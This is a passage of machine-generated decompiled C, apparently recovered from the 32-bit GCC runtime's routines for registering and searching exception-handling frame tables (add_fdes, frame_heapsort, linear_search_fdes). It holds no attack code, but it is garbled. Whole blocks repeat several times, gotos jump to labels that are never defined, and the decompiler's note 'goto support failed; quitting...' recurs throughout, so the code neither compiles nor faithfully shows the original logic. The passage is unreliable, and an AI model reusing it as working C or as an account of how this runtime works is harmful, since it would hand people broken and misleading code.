*(int32_t *)(v59 - 160) = v59 - 20;
v60 = g100;
*(int32_t *)(v60 - 148) = v60 - 16;
v127 = v104 + 8;
v106 = (int32_t)v118;
v107 = 0;
// branch -> 0x80a8a30
while (true) {
// 0x80a8a30
v123 = *(int32_t *)(v127 + 4 * (v107 + v33) / 2);
g96 = v123 + 8;
g95 = v35;
g99 -= 20;
v26 = (int32_t *)read_encoded_value_with_base_723(a1, 0, 0);
g95 = v79;
g99 -= 4;
read_encoded_value_with_base_723(a1, 0, 0);
if (v106 > v5) {
goto lab_0x6cd4070;
}
goto lab_0x6cd67b0;
}
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
} else {
// 0x80a8c1a
v111 = *(int32_t *)(v76 + 12);
v40 = (struct struct_118 *)v111;
v112 = *(int32_t *)(v111 + 4);
v30 = (int32_t *)v112;
if (v112 != 0) {
// 0x80a8c34
v62 = g100;
v83 = v62 - 20;
g101 = v83;
*(int32_t *)(v62 - 160) = v83;
v63 = g100;
*(int32_t *)(v63 - 148) = v63 - 16;
v113 = (int32_t)v37;
v31 = v30;
v114 = NULL;
// branch -> 0x80a8c4d
while (true) {
// 0x80a8c4d
v47 = ((int32_t)v114 + (int32_t)v31) / 2;
g102 = v47;
v124 = *(int32_t *)(4 * v47 + 8 + (int32_t)v40);
v13 = v124 + 4;
g95 = v13 - *(int32_t *)v13;
g99 -= 4;
v64 = get_cie_encoding((struct struct_45 *)&a1) % 256;
g97 = (int32_t)v4;
g95 = v64;
g99 -= 4;
base_from_object((struct struct_45 *)&a1);
g96 = v124 + 8;
g95 = v64;
g99 -= 20;
v34 = read_encoded_value_with_base_723(a1, 0, 0);
g95 = g101 % 16;
g99 -= 4;
read_encoded_value_with_base_723(a1, 0, 0);
if (v113 > v5) {
goto lab_0x6ce48f0;
}
goto lab_0x6ce6200;
}
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80a8878
v100 = v38;
v58 = (int32_t)v4;
v23 = (int32_t *)(v58 + 12);
v100->e0 = (int32_t *)*v23;
*v23 = (int32_t)v100;
v24 = (char *)(v58 + 16);
*v24 = *v24 | 1;
v51 = v49;
v119 = v120;
// branch -> 0x80a888d
// 0x80a888d
v75 = v4;
v74 = (int32_t)v75;
if (v5 < *(int32_t *)v75) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80a88a1
v129 = (int32_t)*(char *)(v74 + 16) | v5 & -256;
if (v129 == 1) {
// 0x80a8d00
v115 = *(int32_t *)(v74 + 12);
v54 = *(int32_t *)v115;
g97 = v54;
if (v54 != 0) {
// 0x80a8d13
g101 = v115;
g95 = v74;
v1 = (struct struct_118 *)0x80a8d26;
g99 -= 4;
if (linear_search_fdes(a1, 0, 0) == 0) {
while (true) {
// 0x80a8d31
v84 = g101 + 4;
v116 = *(int32_t *)v84;
g97 = v116;
g101 = v84;
if (v116 != 0) {
goto lab_0x6cbc6c0;
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
}
} else {
v121 = v129;
v48 = v51;
v118 = v119;
// 0x80a88d4
v76 = (int32_t)v75;
if ((v121 & 4) == 0) {
// 0x80a88dc
v130 = (int32_t)*(int16_t *)(v76 + 16) | v121 & -0x10000;
if (v130 == 2040) {
// 0x80a88f1
v101 = *(int32_t *)(v76 + 12);
v102 = *(int32_t *)(v101 + 4);
if (v102 != 0) {
// 0x80a88fe
v126 = v101 + 8;
v85 = v102;
v55 = 0;
// branch -> 0x80a8900
while (true) {
// 0x80a8900
v77 = v55 + v85;
g96 = v77;
v44 = v77 / 2;
v25 = (int32_t *)v44;
v122 = *(int32_t *)(v126 + 4 * v44);
v103 = *(int32_t *)(v122 + 8);
if (v5 < v103) {
goto lab_0x6cc57e0;
}
goto lab_0x6cc77a0;
}
}
} else {
// 0x80a89da
v104 = *(int32_t *)(v76 + 12);
v78 = v130 / 8;
v35 = v78 % 256;
g95 = v35;
g97 = v76;
v1 = (struct struct_118 *)0x80a89fb;
g99 -= 4;
base_from_object((struct struct_45 *)&a1);
v105 = *(int32_t *)(v104 + 4);
v33 = v105;
if (v105 != 0) {
// 0x80a8a0c
v79 = v78 % 16;
v59 = g100;
*(int32_t *)(v59 - 160) = v59 - 20;
v60 = g100;
*(int32_t *)(v60 - 148) = v60 - 16;
v127 = v104 + 8;
v106 = (int32_t)v118;
v107 = 0;
// branch -> 0x80a8a30
while (true) {
// 0x80a8a30
v123 = *(int32_t *)(v127 + 4 * (v107 + v33) / 2);
g96 = v123 + 8;
g95 = v35;
g99 -= 20;
v26 = (int32_t *)read_encoded_value_with_base_723(a1, 0, 0);
g95 = v79;
g99 -= 4;
read_encoded_value_with_base_723(a1, 0, 0);
if (v106 > v5) {
goto lab_0x6cd4070;
}
goto lab_0x6cd67b0;
}
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
} else {
// 0x80a8c1a
v111 = *(int32_t *)(v76 + 12);
v40 = (struct struct_118 *)v111;
v112 = *(int32_t *)(v111 + 4);
v30 = (int32_t *)v112;
if (v112 != 0) {
// 0x80a8c34
v62 = g100;
v83 = v62 - 20;
g101 = v83;
*(int32_t *)(v62 - 160) = v83;
v63 = g100;
*(int32_t *)(v63 - 148) = v63 - 16;
v113 = (int32_t)v37;
v31 = v30;
v114 = NULL;
// branch -> 0x80a8c4d
while (true) {
// 0x80a8c4d
v47 = ((int32_t)v114 + (int32_t)v31) / 2;
g102 = v47;
v124 = *(int32_t *)(4 * v47 + 8 + (int32_t)v40);
v13 = v124 + 4;
g95 = v13 - *(int32_t *)v13;
g99 -= 4;
v64 = get_cie_encoding((struct struct_45 *)&a1) % 256;
g97 = (int32_t)v4;
g95 = v64;
g99 -= 4;
base_from_object((struct struct_45 *)&a1);
g96 = v124 + 8;
g95 = v64;
g99 -= 20;
v34 = read_encoded_value_with_base_723(a1, 0, 0);
g95 = g101 % 16;
g99 -= 4;
read_encoded_value_with_base_723(a1, 0, 0);
if (v113 > v5) {
goto lab_0x6ce48f0;
}
goto lab_0x6ce6200;
}
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Detected a possible infinite recursion (goto support failed); quitting...
} else {
// 0x80a870a
v43 = g98;
v46 = v43;
v117 = v43 - 0x887a4;
// branch -> 0x80a8713
}
// 0x80a8713
g102 = v88;
if (v88 == 0) {
// 0x80a8d40
g96 = v92;
g97 = v117;
g95 = v71;
v1 = (struct struct_118 *)0x80a8d54;
g99 -= 4;
frame_heapsort(a1, 0, 0);
v49 = v50;
v120 = (int32_t *)0x80a8693;
// branch -> 0x80a8878
} else {
// 0x80a8721
v18 = (int32_t *)(v92 + 4);
v94 = *v18;
if (v94 != 0) {
// 0x80a8b00
v61 = v46 + 0x7888;
v36 = (struct struct_118 *)v61;
v12 = v92 + 8;
*(int32_t *)(v88 + 8) = v61;
v14 = v12;
g101 = v14;
g96 = 1;
if (v94 != 1) {
v11 = 1;
v15 = v14;
while (true) {
// 0x80a8b44
v108 = (int32_t)v36;
g1 = v15 < v108;
g103 = v15 == v108;
if (v15 == v108) {
goto lab_0x6c94920;
}
goto lab_0xafb6150;
}
}
// 0x80a8b85
v32 = 0;
v87 = 0;
v82 = 0;
v81 = 0;
v29 = (int32_t *)v93;
// branch -> 0x80a8bd5
while (true) {
// 0x80a8bd5
v86 = v87;
v80 = v81;
v28 = v29;
// branch -> 0x80a8bd5
goto lab_0x6d0fe20;
}
}
// 0x80a8746
*v18 = 0;
g96 = v88;
v19 = (int32_t *)(v88 + 4);
*v19 = 0;
v57 = g102;
v73 = (int32_t)(int32_t *)v93;
g101 = v73;
v16 = *(int32_t *)(v73 + 4) + *(int32_t *)(v57 + 4);
g95 = v16;
if (v16 != v56) {
// 0x80a8d61
g99 -= 4;
abort();
// UNREACHABLE
}
// 0x80a8773
g96 = v57;
g97 = v117;
g95 = (int32_t)v4;
frame_heapsort(a1, 0, 0);
v96 = v38;
v95 = (int32_t)v96;
v97 = *v19;
g96 = v97;
if (v97 != 0) {
// 0x80a879d
v125 = v95 + 8;
v22 = (int32_t *)(v88 + 8 + 4 * v97);
v110 = v96->e1;
// branch -> 0x80a87cf
while (true) {
// 0x80a87cf
v128 = v97 - 1;
v20 = (int32_t *)((int32_t)v22 - 4);
v21 = (struct struct_118 *)*v20;
v41 = v21;
v98 = (int32_t)v110;
if (v110 == NULL) {
v52 = (int32_t *)0x80a8783;
v109 = NULL;
goto lab_0x6cebf10;
}
goto lab_0x6ca6790;
}
}
// 0x80a886a
free(v17);
v49 = (int32_t *)0x80a8783;
v120 = (int32_t *)0x80a8875;
// branch -> 0x80a8878
// 0x80a8878
v100 = v38;
v58 = (int32_t)v4;
v23 = (int32_t *)(v58 + 12);
v100->e0 = (int32_t *)*v23;
*v23 = (int32_t)v100;
v24 = (char *)(v58 + 16);
*v24 = *v24 | 1;
v51 = v49;
v119 = v120;
// branch -> 0x80a888d
// 0x80a888d
v75 = v4;
v74 = (int32_t)v75;
if (v5 < *(int32_t *)v75) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80a88a1
v129 = (int32_t)*(char *)(v74 + 16) | v5 & -256;
if (v129 == 1) {
// 0x80a8d00
v115 = *(int32_t *)(v74 + 12);
v54 = *(int32_t *)v115;
g97 = v54;
if (v54 != 0) {
// 0x80a8d13
g101 = v115;
g95 = v74;
v1 = (struct struct_118 *)0x80a8d26;
g99 -= 4;
if (linear_search_fdes(a1, 0, 0) == 0) {
while (true) {
// 0x80a8d31
v84 = g101 + 4;
v116 = *(int32_t *)v84;
g97 = v116;
g101 = v84;
if (v116 != 0) {
goto lab_0x6cbc6c0;
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
}
} else {
v121 = v129;
v48 = v51;
v118 = v119;
// 0x80a88d4
v76 = (int32_t)v75;
if ((v121 & 4) == 0) {
// 0x80a88dc
v130 = (int32_t)*(int16_t *)(v76 + 16) | v121 & -0x10000;
if (v130 == 2040) {
// 0x80a88f1
v101 = *(int32_t *)(v76 + 12);
v102 = *(int32_t *)(v101 + 4);
if (v102 != 0) {
// 0x80a88fe
v126 = v101 + 8;
v85 = v102;
v55 = 0;
// branch -> 0x80a8900
while (true) {
// 0x80a8900
v77 = v55 + v85;
g96 = v77;
v44 = v77 / 2;
v25 = (int32_t *)v44;
v122 = *(int32_t *)(v126 + 4 * v44);
v103 = *(int32_t *)(v122 + 8);
if (v5 < v103) {
goto lab_0x6cc57e0;
}
goto lab_0x6cc77a0;
}
}
} else {
// 0x80a89da
v104 = *(int32_t *)(v76 + 12);
v78 = v130 / 8;
v35 = v78 % 256;
g95 = v35;
g97 = v76;
v1 = (struct struct_118 *)0x80a89fb;
g99 -= 4;
base_from_object((struct struct_45 *)&a1);
v105 = *(int32_t *)(v104 + 4);
v33 = v105;
if (v105 != 0) {
// 0x80a8a0c
v79 = v78 % 16;
v59 = g100;
*(int32_t *)(v59 - 160) = v59 - 20;
v60 = g100;
*(int32_t *)(v60 - 148) = v60 - 16;
v127 = v104 + 8;
v106 = (int32_t)v118;
v107 = 0;
// branch -> 0x80a8a30
while (true) {
// 0x80a8a30
v123 = *(int32_t *)(v127 + 4 * (v107 + v33) / 2);
g96 = v123 + 8;
g95 = v35;
g99 -= 20;
v26 = (int32_t *)read_encoded_value_with_base_723(a1, 0, 0);
g95 = v79;
g99 -= 4;
read_encoded_value_with_base_723(a1, 0, 0);
if (v106 > v5) {
goto lab_0x6cd4070;
}
goto lab_0x6cd67b0;
}
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
} else {
// 0x80a8c1a
v111 = *(int32_t *)(v76 + 12);
v40 = (struct struct_118 *)v111;
v112 = *(int32_t *)(v111 + 4);
v30 = (int32_t *)v112;
if (v112 != 0) {
// 0x80a8c34
v62 = g100;
v83 = v62 - 20;
g101 = v83;
*(int32_t *)(v62 - 160) = v83;
v63 = g100;
*(int32_t *)(v63 - 148) = v63 - 16;
v113 = (int32_t)v37;
v31 = v30;
v114 = NULL;
// branch -> 0x80a8c4d
while (true) {
// 0x80a8c4d
v47 = ((int32_t)v114 + (int32_t)v31) / 2;
g102 = v47;
v124 = *(int32_t *)(4 * v47 + 8 + (int32_t)v40);
v13 = v124 + 4;
g95 = v13 - *(int32_t *)v13;
g99 -= 4;
v64 = get_cie_encoding((struct struct_45 *)&a1) % 256;
g97 = (int32_t)v4;
g95 = v64;
g99 -= 4;
base_from_object((struct struct_45 *)&a1);
g96 = v124 + 8;
g95 = v64;
g99 -= 20;
v34 = read_encoded_value_with_base_723(a1, 0, 0);
g95 = g101 % 16;
g99 -= 4;
read_encoded_value_with_base_723(a1, 0, 0);
if (v113 > v5) {
goto lab_0x6ce48f0;
}
goto lab_0x6ce6200;
}
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80a8878
v100 = v38;
v58 = (int32_t)v4;
v23 = (int32_t *)(v58 + 12);
v100->e0 = (int32_t *)*v23;
*v23 = (int32_t)v100;
v24 = (char *)(v58 + 16);
*v24 = *v24 | 1;
v51 = v49;
v119 = v120;
// branch -> 0x80a888d
} else {
v51 = v2;
v119 = (int32_t *)0x80a866f;
}
}
// 0x80a888d
v75 = v4;
v74 = (int32_t)v75;
if (v5 < *(int32_t *)v75) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80a88a1
v129 = (int32_t)*(char *)(v74 + 16) | v5 & -256;
if (v129 == 1) {
// 0x80a8d00
v115 = *(int32_t *)(v74 + 12);
v54 = *(int32_t *)v115;
g97 = v54;
if (v54 != 0) {
// 0x80a8d13
g101 = v115;
g95 = v74;
v1 = (struct struct_118 *)0x80a8d26;
g99 -= 4;
if (linear_search_fdes(a1, 0, 0) == 0) {
while (true) {
// 0x80a8d31
v84 = g101 + 4;
v116 = *(int32_t *)v84;
g97 = v116;
g101 = v84;
if (v116 != 0) {
goto lab_0x6cbc6c0;
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
}
} else {
v121 = v129;
v48 = v51;
v118 = v119;
// 0x80a88d4
v76 = (int32_t)v75;
if ((v121 & 4) == 0) {
// 0x80a88dc
v130 = (int32_t)*(int16_t *)(v76 + 16) | v121 & -0x10000;
if (v130 == 2040) {
// 0x80a88f1
v101 = *(int32_t *)(v76 + 12);
v102 = *(int32_t *)(v101 + 4);
if (v102 != 0) {
// 0x80a88fe
v126 = v101 + 8;
v85 = v102;
v55 = 0;
// branch -> 0x80a8900
while (true) {
// 0x80a8900
v77 = v55 + v85;
g96 = v77;
v44 = v77 / 2;
v25 = (int32_t *)v44;
v122 = *(int32_t *)(v126 + 4 * v44);
v103 = *(int32_t *)(v122 + 8);
if (v5 < v103) {
goto lab_0x6cc57e0;
}
goto lab_0x6cc77a0;
}
}
} else {
// 0x80a89da
v104 = *(int32_t *)(v76 + 12);
v78 = v130 / 8;
v35 = v78 % 256;
g95 = v35;
g97 = v76;
v1 = (struct struct_118 *)0x80a89fb;
g99 -= 4;
base_from_object((struct struct_45 *)&a1);
v105 = *(int32_t *)(v104 + 4);
v33 = v105;
if (v105 != 0) {
// 0x80a8a0c
v79 = v78 % 16;
v59 = g100;
*(int32_t *)(v59 - 160) = v59 - 20;
v60 = g100;
*(int32_t *)(v60 - 148) = v60 - 16;
v127 = v104 + 8;
v106 = (int32_t)v118;
v107 = 0;
// branch -> 0x80a8a30
while (true) {
// 0x80a8a30
v123 = *(int32_t *)(v127 + 4 * (v107 + v33) / 2);
g96 = v123 + 8;
g95 = v35;
g99 -= 20;
v26 = (int32_t *)read_encoded_value_with_base_723(a1, 0, 0);
g95 = v79;
g99 -= 4;
read_encoded_value_with_base_723(a1, 0, 0);
if (v106 > v5) {
goto lab_0x6cd4070;
}
goto lab_0x6cd67b0;
}
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
} else {
// 0x80a8c1a
v111 = *(int32_t *)(v76 + 12);
v40 = (struct struct_118 *)v111;
v112 = *(int32_t *)(v111 + 4);
v30 = (int32_t *)v112;
if (v112 != 0) {
// 0x80a8c34
v62 = g100;
v83 = v62 - 20;
g101 = v83;
*(int32_t *)(v62 - 160) = v83;
v63 = g100;
*(int32_t *)(v63 - 148) = v63 - 16;
v113 = (int32_t)v37;
v31 = v30;
v114 = NULL;
// branch -> 0x80a8c4d
while (true) {
// 0x80a8c4d
v47 = ((int32_t)v114 + (int32_t)v31) / 2;
g102 = v47;
v124 = *(int32_t *)(4 * v47 + 8 + (int32_t)v40);
v13 = v124 + 4;
g95 = v13 - *(int32_t *)v13;
g99 -= 4;
v64 = get_cie_encoding((struct struct_45 *)&a1) % 256;
g97 = (int32_t)v4;
g95 = v64;
g99 -= 4;
base_from_object((struct struct_45 *)&a1);
g96 = v124 + 8;
g95 = v64;
g99 -= 20;
v34 = read_encoded_value_with_base_723(a1, 0, 0);
g95 = g101 % 16;
g99 -= 4;
read_encoded_value_with_base_723(a1, 0, 0);
if (v113 > v5) {
goto lab_0x6ce48f0;
}
goto lab_0x6ce6200;
}
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Detected a possible infinite recursion (goto support failed); quitting...
} else {
// 0x80a8968
v140 = v142;
// branch -> 0x80a8968
continue;
}
}
}
// 0x80a8997
v137 = v9 % 2048 | v136;
g96 = v137;
*(int32_t *)((int32_t)v4 + 16) = v137;
v135 = g96;
v139 = v135 / 2048;
g95 = v139;
if ((int32_t)v133 != v139) {
// 0x80a89b8
v138 = v135 % 2048;
g96 = v138;
*(int32_t *)((int32_t)v4 + 16) = v138;
// branch -> 0x80a89c7
}
// 0x80a89c7
if (v133 != NULL) {
v27 = v133;
// 0x80a8659
v56 = (int32_t)v27;
__libc_malloc((int32_t *)(4 * v56 + 8), v39, (int32_t)v1);
v66 = g95;
v38 = (struct struct_6 *)v66;
if (v66 != 0) {
// 0x80a8683
*(int32_t *)(v66 + 4) = 0;
__libc_malloc((int32_t *)g101, v39, (int32_t)v1);
v88 = g95;
v17 = (int32_t *)v88;
if (v88 != 0) {
// 0x80a869d
*(int32_t *)(v88 + 4) = 0;
// branch -> 0x80a86a4
}
// 0x80a86a4
v67 = (int32_t)v4;
g101 = v67;
if (*(char *)(v67 + 16) == 2) {
// 0x80a8a9a
g95 = v67;
g96 = *(int32_t *)(v67 + 12);
g97 = g100 - 28;
g99 -= 4;
add_fdes(a1, 0, 0);
v50 = v2;
// branch -> 0x80a86db
} else {
// 0x80a86b4
v89 = *(int32_t *)(v67 + 12);
g95 = v89;
v42 = *(int32_t *)v89;
g96 = v42;
if (v42 != 0) {
// 0x80a86bd
v68 = g100 - 28;
g102 = v68;
g101 = v89;
g97 = v68;
g95 = v67;
add_fdes(a1, 0, 0);
v70 = g101 + 4;
v91 = *(int32_t *)v70;
g96 = v91;
g101 = v70;
if (v91 != 0) {
while (true) {
// 0x80a86c4
g97 = g102;
g95 = (int32_t)v4;
add_fdes(a1, 0, 0);
v69 = g101 + 4;
v90 = *(int32_t *)v69;
g96 = v90;
g101 = v69;
if (v90 == 0) {
v50 = (int32_t *)0x80a86d1;
// break -> 0x80a86db
break;
}
// continue -> 0x80a86c4
}
// 0x80a86db
v93 = v38;
v92 = (int32_t)v93;
if (v93 != NULL) {
// 0x80a86eb
g96 = v56;
if (v93->e1 != v27) {
// 0x80a8d61
g99 -= 4;
abort();
// UNREACHABLE
}
}
// 0x80a86fa
v71 = (int32_t)v4;
g101 = v71;
v72 = v71 + 16;
if (*(char *)v72 == 4) {
// 0x80a8ae0
v45 = g98;
if (*(int16_t *)v72 == 2040) {
// 0x80a8af2
v46 = v45;
v117 = v45 - 0x89f44;
// branch -> 0x80a8713
} else {
// 0x80a8ce4
v65 = v45 - 0x89f24;
g101 = v65;
v46 = v45;
v117 = v65;
// branch -> 0x80a8713
}
// 0x80a8713
g102 = v88;
if (v88 == 0) {
// 0x80a8d40
g96 = v92;
g97 = v117;
g95 = v71;
g99 -= 4;
frame_heapsort(a1, 0, 0);
v49 = v50;
v120 = (int32_t *)0x80a8693;
// branch -> 0x80a8878
} else {
// 0x80a8721
v18 = (int32_t *)(v92 + 4);
v94 = *v18;
if (v94 != 0) {
// 0x80a8b00
v61 = v46 + 0x7888;
v36 = (struct struct_118 *)v61;
v12 = v92 + 8;
*(int32_t *)(v88 + 8) = v61;
v14 = v12;
g101 = v14;
g96 = 1;
if (v94 != 1) {
v11 = 1;
v15 = v14;
while (true) {
// 0x80a8b44
v108 = (int32_t)v36;
g1 = v15 < v108;
g103 = v15 == v108;
if (v15 == v108) {
goto lab_0x6c94920;
}
goto lab_0xafb6150;
}
}
// 0x80a8b85
v32 = 0;
v87 = 0;
v82 = 0;
v81 = 0;
v29 = (int32_t *)v93;
// branch -> 0x80a8bd5
while (true) {
// 0x80a8bd5
v86 = v87;
v80 = v81;
v28 = v29;
// branch -> 0x80a8bd5
goto lab_0x6d0fe20;
}
}
// 0x80a8746
*v18 = 0;
g96 = v88;
v19 = (int32_t *)(v88 + 4);
*v19 = 0;
v57 = g102;
v73 = (int32_t)(int32_t *)v93;
g101 = v73;
v16 = *(int32_t *)(v73 + 4) + *(int32_t *)(v57 + 4);
g95 = v16;
if (v16 != v56) {
// 0x80a8d61
g99 -= 4;
abort();
// UNREACHABLE
}
// 0x80a8773
g96 = v57;
g97 = v117;
g95 = (int32_t)v4;
frame_heapsort(a1, 0, 0);
v96 = v38;
v95 = (int32_t)v96;
v97 = *v19;
g96 = v97;
if (v97 != 0) {
// 0x80a879d
v125 = v95 + 8;
v22 = (int32_t *)(v88 + 8 + 4 * v97);
v110 = v96->e1;
// branch -> 0x80a87cf
while (true) {
// 0x80a87cf
v128 = v97 - 1;
v20 = (int32_t *)((int32_t)v22 - 4);
v21 = (struct struct_118 *)*v20;
v41 = v21;
v98 = (int32_t)v110;
if (v110 == NULL) {
v52 = (int32_t *)0x80a8783;
v109 = NULL;
goto lab_0x6cebf10;
}
goto lab_0x6ca6790;
}
}
// 0x80a886a
free(v17);
v49 = (int32_t *)0x80a8783;
v120 = (int32_t *)0x80a8875;
// branch -> 0x80a8878
// 0x80a8878
v100 = v38;
v58 = (int32_t)v4;
v23 = (int32_t *)(v58 + 12);
v100->e0 = (int32_t *)*v23;
*v23 = (int32_t)v100;
v24 = (char *)(v58 + 16);
*v24 = *v24 | 1;
v51 = v49;
v119 = v120;
// branch -> 0x80a888d
// 0x80a888d
v75 = v4;
v74 = (int32_t)v75;
if (v5 < *(int32_t *)v75) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80a88a1
v129 = (int32_t)*(char *)(v74 + 16) | v5 & -256;
if (v129 == 1) {
// 0x80a8d00
v115 = *(int32_t *)(v74 + 12);
v54 = *(int32_t *)v115;
g97 = v54;
if (v54 != 0) {
// 0x80a8d13
g101 = v115;
g95 = v74;
g99 -= 4;
if (linear_search_fdes(a1, 0, 0) == 0) {
while (true) {
// 0x80a8d31
v84 = g101 + 4;
v116 = *(int32_t *)v84;
g97 = v116;
g101 = v84;
if (v116 != 0) {
goto lab_0x6cbc6c0;
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
}
} else {
v121 = v129;
v48 = v51;
v118 = v119;
// 0x80a88d4
v76 = (int32_t)v75;
if ((v121 & 4) == 0) {
// 0x80a88dc
v130 = (int32_t)*(int16_t *)(v76 + 16) | v121 & -0x10000;
if (v130 == 2040) {
// 0x80a88f1
v101 = *(int32_t *)(v76 + 12);
v102 = *(int32_t *)(v101 + 4);
if (v102 != 0) {
// 0x80a88fe
v126 = v101 + 8;
v85 = v102;
v55 = 0;
// branch -> 0x80a8900
while (true) {
// 0x80a8900
v77 = v55 + v85;
g96 = v77;
v44 = v77 / 2;
v25 = (int32_t *)v44;
v122 = *(int32_t *)(v126 + 4 * v44);
v103 = *(int32_t *)(v122 + 8);
if (v5 < v103) {
goto lab_0x6cc57e0;
}
goto lab_0x6cc77a0;
}
}
} else {
// 0x80a89da
v104 = *(int32_t *)(v76 + 12);
v78 = v130 / 8;
v35 = v78 % 256;
g95 = v35;
g97 = v76;
g99 -= 4;
base_from_object((struct struct_45 *)&a1);
v105 = *(int32_t *)(v104 + 4);
v33 = v105;
if (v105 != 0) {
// 0x80a8a0c
v79 = v78 % 16;
v59 = g100;
*(int32_t *)(v59 - 160) = v59 - 20;
v60 = g100;
*(int32_t *)(v60 - 148) = v60 - 16;
v127 = v104 + 8;
v106 = (int32_t)v118;
v107 = 0;
// branch -> 0x80a8a30
while (true) {
// 0x80a8a30
v123 = *(int32_t *)(v127 + 4 * (v107 + v33) / 2);
g96 = v123 + 8;
g95 = v35;
g99 -= 20;
v26 = (int32_t *)read_encoded_value_with_base_723(a1, 0, 0);
g95 = v79;
g99 -= 4;
read_encoded_value_with_base_723(a1, 0, 0);
if (v106 > v5) {
goto lab_0x6cd4070;
}
goto lab_0x6cd67b0;
}
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
} else {
// 0x80a8c1a
v111 = *(int32_t *)(v76 + 12);
v40 = (struct struct_118 *)v111;
v112 = *(int32_t *)(v111 + 4);
v30 = (int32_t *)v112;
if (v112 != 0) {
// 0x80a8c34
v62 = g100;
v83 = v62 - 20;
g101 = v83;
*(int32_t *)(v62 - 160) = v83;
v63 = g100;
*(int32_t *)(v63 - 148) = v63 - 16;
v113 = (int32_t)v37;
v31 = v30;
v114 = NULL;
// branch -> 0x80a8c4d
while (true) {
// 0x80a8c4d
v47 = ((int32_t)v114 + (int32_t)v31) / 2;
g102 = v47;
v124 = *(int32_t *)(4 * v47 + 8 + (int32_t)v40);
v13 = v124 + 4;
g95 = v13 - *(int32_t *)v13;
g99 -= 4;
v64 = get_cie_encoding((struct struct_45 *)&a1) % 256;
g97 = (int32_t)v4;
g95 = v64;
g99 -= 4;
base_from_object((struct struct_45 *)&a1);
g96 = v124 + 8;
g95 = v64;
g99 -= 20;
v34 = read_encoded_value_with_base_723(a1, 0, 0);
g95 = g101 % 16;
g99 -= 4;
read_encoded_value_with_base_723(a1, 0, 0);
if (v113 > v5) {
goto lab_0x6ce48f0;
}
goto lab_0x6ce6200;
}
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80a8878
v100 = v38;
v58 = (int32_t)v4;
v23 = (int32_t *)(v58 + 12);
v100->e0 = (int32_t *)*v23;
*v23 = (int32_t)v100;
v24 = (char *)(v58 + 16);
*v24 = *v24 | 1;
v51 = v49;
v119 = v120;
// branch -> 0x80a888d
// 0x80a888d
v75 = v4;
v74 = (int32_t)v75;
if (v5 < *(int32_t *)v75) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80a88a1
v129 = (int32_t)*(char *)(v74 + 16) | v5 & -256;
if (v129 == 1) {
// 0x80a8d00
v115 = *(int32_t *)(v74 + 12);
v54 = *(int32_t *)v115;
g97 = v54;
if (v54 != 0) {
// 0x80a8d13
g101 = v115;
g95 = v74;
g99 -= 4;
if (linear_search_fdes(a1, 0, 0) == 0) {
while (true) {
// 0x80a8d31
v84 = g101 + 4;
v116 = *(int32_t *)v84;
g97 = v116;
g101 = v84;
if (v116 != 0) {
goto lab_0x6cbc6c0;
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
}
} else {
v121 = v129;
v48 = v51;
v118 = v119;
// 0x80a88d4
v76 = (int32_t)v75;
if ((v121 & 4) == 0) {
// 0x80a88dc
v130 = (int32_t)*(int16_t *)(v76 + 16) | v121 & -0x10000;
if (v130 == 2040) {
// 0x80a88f1
v101 = *(int32_t *)(v76 + 12);
v102 = *(int32_t *)(v101 + 4);
if (v102 != 0) {
// 0x80a88fe
v126 = v101 + 8;
v85 = v102;
v55 = 0;
// branch -> 0x80a8900
while (true) {
// 0x80a8900
v77 = v55 + v85;
g96 = v77;
v44 = v77 / 2;
v25 = (int32_t *)v44;
v122 = *(int32_t *)(v126 + 4 * v44);
v103 = *(int32_t *)(v122 + 8);
if (v5 < v103) {
goto lab_0x6cc57e0;
}
goto lab_0x6cc77a0;
}
}
} else {
// 0x80a89da
v104 = *(int32_t *)(v76 + 12);
v78 = v130 / 8;
v35 = v78 % 256;
g95 = v35;
g97 = v76;
g99 -= 4;
base_from_object((struct struct_45 *)&a1);
v105 = *(int32_t *)(v104 + 4);
v33 = v105;
if (v105 != 0) {
// 0x80a8a0c
v79 = v78 % 16;
v59 = g100;
*(int32_t *)(v59 - 160) = v59 - 20;
v60 = g100;
*(int32_t *)(v60 - 148) = v60 - 16;
v127 = v104 + 8;
v106 = (int32_t)v118;
v107 = 0;
// branch -> 0x80a8a30
while (true) {
// 0x80a8a30
v123 = *(int32_t *)(v127 + 4 * (v107 + v33) / 2);
g96 = v123 + 8;
g95 = v35;
g99 -= 20;
v26 = (int32_t *)read_encoded_value_with_base_723(a1, 0, 0);
g95 = v79;
g99 -= 4;
read_encoded_value_with_base_723(a1, 0, 0);
if (v106 > v5) {
goto lab_0x6cd4070;
}
goto lab_0x6cd67b0;
}
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
} else {
// 0x80a8c1a
v111 = *(int32_t *)(v76 + 12);
v40 = (struct struct_118 *)v111;
v112 = *(int32_t *)(v111 + 4);
v30 = (int32_t *)v112;
if (v112 != 0) {
// 0x80a8c34
v62 = g100;
v83 = v62 - 20;
g101 = v83;
*(int32_t *)(v62 - 160) = v83;
v63 = g100;
*(int32_t *)(v63 - 148) = v63 - 16;
v113 = (int32_t)v37;
v31 = v30;
v114 = NULL;
// branch -> 0x80a8c4d
while (true) {
// 0x80a8c4d
v47 = ((int32_t)v114 + (int32_t)v31) / 2;
g102 = v47;
v124 = *(int32_t *)(4 * v47 + 8 + (int32_t)v40);
v13 = v124 + 4;
g95 = v13 - *(int32_t *)v13;
g99 -= 4;
